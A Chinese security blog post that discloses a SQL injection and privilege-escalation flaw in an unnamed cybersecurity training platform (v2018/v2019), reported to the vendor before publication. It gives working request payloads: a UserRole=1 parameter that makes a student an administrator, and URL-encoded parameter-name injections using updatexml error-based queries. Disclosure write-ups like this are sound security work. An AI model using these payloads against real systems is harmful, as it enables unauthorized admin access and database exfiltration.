某网络安全培训平台隐式SQL注入漏洞挖掘历程

某网络安全培训平台通用型隐式SQL注入漏洞挖掘历程

这个洞几个月前就挖到了,并且反馈给了相关负责人员。

虽然最终反馈是旧版本的问题在新版本已经解决,但是表哥为了表达谢意还是给发来了一大堆礼物,这里赞一下。

将漏洞报告公开供大家学习思路。

已知影响版本

1
2
v2018
v2019

首先以学生身份登录平台,点击个人信息,进入个人信息修改页面。

修改好信息点击确定,此时抓包,发送请求,修改成功后状态码返回0000

默认的参数:

1
UserName,UserSex,UserEmail,UserPhone,vcode

如果构造一个未知的参数,例如UserType进行发包,会产生意想不到的结果,直接抛出一个SQL的报错

1
2
3
4
数据库发生错误。
Error Number: 1054 Unknown column 'UserType' in 'field list'
UPDATE `p_user` SET `UserType` = 'admin', `UserName` = '测试账号', `UserSex` = '男', `UserEmail` = '', `UserPhone` = ''
WHERE `UserID` = '122' Filename: models/User_model.php Line Number: 20

根据得到的错误得知了执行的SQL语句,当字段不存在时会提示不存在

1
UPDATE `p_user` SET `UserType` = 'admin', `UserName` = '测试账号', `UserSex` = '男', `UserEmail` = '', `UserPhone` = '' WHERE `UserID` = '122'

将普通学生权限用户提升至管理员很简单 ,只需要自己添加一个UserRole=1即可(控制用户角色)

后端SQL语句应该是:

1
UPDATE `p_user` SET `UserRole` = '1', `UserName` = '测试账号', `UserSex` = '男', `UserEmail` = '', `UserPhone` = '' WHERE `UserID` = '122'

那么该如何进一步利用呢?试了一下发现正常传参会自动转义单引号,试了几种方式无法绕过

当URL构造出UserType=1这种时,会在SQL语句中自动生成

1
`UserType` = '1'

当URL构造出UserType='1这种时,会在SQL语句中自动生成

1
`UserType` = '\'1'

测试中发现参数名可控,所以只需构造一下参数让他成为以下这种SQL语句,将查询结果输出到姓名

1
UPDATE `p_user` SET `UserName` = database() # `UserType` = '1', `UserName` = 'A', `UserSex` = '男', `UserEmail` = '', `UserPhone` = '' WHERE `UserID` = '7'

可以执行以下SQL语句

1
UPDATE `p_user` SET `UserName` = database() #

实际上传参的过程还会对等于号=进行分割,分割完使其成为以下格式

1
`UserType` = 'database()'

绕过方式很简单,只需要将=等于号进行URL编码即可,最终构造

1
`UserName`%3ddatabase()#&UserName=&UserSex=%E7%94%B7&UserEmail=&UserPhone=&vcode=le4q

再次查看姓名,发现是使用SQL语句查询到的当前数据库名

进一步构造Payload,可以使用报错注入的方式进行注入。

1
`UserName`%3d'test'/**/or/**/updatexml(1,concat('~',(select/**/user()),'~'),3)#&UserName=%E6%B5%8B%E8%AF%95%E8%B4%A6%E5%8F%B7&UserSex=%E7%94%B7&UserEmail=&UserPhone=&vcode=9d66

其他的利用方式,为用户名赋值。

1
2
3
`UserName`%3d(select/**/char(109,121,115,113,108,46,117,115,101,114))#

`UserName`%3d(select/**/char(109,121,115,113,108,46,117,115,101,114))/**/or/**/updatexml(1,concat('~',(select/**/user()),'~'),3)#

在测试的过程中始终有一个问题绕不过去,就是构造的恶意参数名无法包含小数点.,因为在PHP编程语言中不允许传输参数带有小数点,并且URL编码也不行。

无法使用小数点也就意味着在Mysql中很多操作无法完成,例如跨库跨表查询。希望有想法的师傅一起交流。

文章作者: Linuz
文章链接: https://linuz.me/2021/07/23/General-implicit-SQL-injection-vulnerability-mining-process-of-a-network-security-training-platform/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次